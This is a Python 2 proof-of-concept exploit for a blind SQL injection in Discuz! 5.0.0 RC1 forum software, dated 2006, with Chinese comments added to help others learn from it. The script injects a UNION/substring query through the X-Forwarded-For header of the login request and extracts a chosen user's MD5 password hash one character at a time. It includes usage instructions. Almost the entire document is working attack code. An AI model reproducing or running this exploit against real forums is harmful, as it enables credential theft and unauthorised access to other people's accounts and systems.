原创作者：wofeiwo
#wofeiwo原创，pt007给程序做了一下注释，以方便其它人的学习：
#!c:\python24\pyton
# Discuz! 5.0.0 RC1 SQL injection PoC
# Author: wofeiwo thx superheis help
# Date: Aug 12th 2006
import sys
import httplib
from urlparse import urlparse
from time import sleep
def injection(lenthofpass,realurl,path):
sys.stdout.write('[+]The uid='+sys.argv[2]+' password hash is: \n')
for num in range(1,lenthofpass+1): #相当于[1,...,32],num代表32位的MD5值
ran=range(97, 123) #ran=[97,...,122]，ASCII码的a-z
#for a1 in range(65,91): #a1=[65,90],ASCII码的A-Z
# ran.append(a1)
for a in range(48, 58): #a=[48,...,57],ASCII码的0-9
ran.append(a) #将序列a加入到序列ran中
for i in ran: #遍历ran序列,包括全部小写字母和数字
query = '\' union select 122,122,122,122,122,122,122,122 from cdb_members where uid=' + sys.argv[2] + ' AND ascii(substring(CONCAT(password),' + str(num) + ',1))=' + str(i) + ' /*'
#下面是一个字典:
header = {'Accept':'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*','Referer':'http://' + realurl[1] + path + 'logging.php?action=login','Accept-Language':'zh-cn','Content-Type':'application/x-www-form-urlencoded','User-Agent':'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)','Connection':'Keep-Alive','Cache-Control':'no-cache','X-Forwarded-For':query,'Cookie':'cdb_sid=70KRjS; cdb_cookietime=2592000'}
data = "formhash=6a49b97f&referer=discuz.php&loginmode=&styleid=&cookietime=2592000&loginfield=username&username=test&password=123456789&questionid=0&answer=&loginsubmit=%E6%8F%90+%C2%A0+%E4%BA%A4"
#print header
#sys.exit(1)
http = httplib.HTTPConnection(realurl[1]) #连接到如：httplib.HTTPConnection('
www.cwi.nl')
http.request("POST", path + "logging.php?action=login&",data , header) #发送POS数据包
#sleep(1)
response = http.getresponse() #得到服务的响应包
re1 = response.read() #读出所有响应数据并存入ret1中
#print "re1中返回的内容为:"
#print re1
if re1.find('SELECT') ==1: #re1中是否含有SELECT字符，是为1，否返回-1
print '[-] Unvalnerable host' #不存在漏洞
print '[-] Exit..'
sys.exit(1);
elif re1.find('ip3') == -1:#re1中是否含有ip3字符，是为1，否返回-1
sys.stdout.write(chr(i)) #输出正确的MD5密码值
#print chr(i)
http.close()
#sleep(1)
#break
#print re1
#print '-----------------------------------------------'
http.close()
#sleep(1)
sys.stdout.write('\n') #打印回车
def main ():
print 'Discuz! 5.0.0 RC1 SQL injection exploit'
print 'Codz by wofeiwo wofeiwo[0x40]gmail[0x2C]com\n'
if len(sys.argv) == 3:
url = urlparse(sys.argv[1])
if url[2:-1] != '/': #从元组中第三个到倒数第二个参数
u = url[2] + '/'
else:
u = url[2] #u=/dz/
else:
print "Usage: %s <url> <uid>" % sys.argv[0]
print "Example: %s
http://127.0.0.1/dz/ 1" % sys.argv[0]
sys.exit(0)
lenth = 32 #长度为32
print '[+] Connect %s' % url[1]
print '[+] Trying...'
print '[+] Plz wait a long long time...'
injection(lenth, url, u)
print '[+] Finished'
if __name__ == '__main__': main()
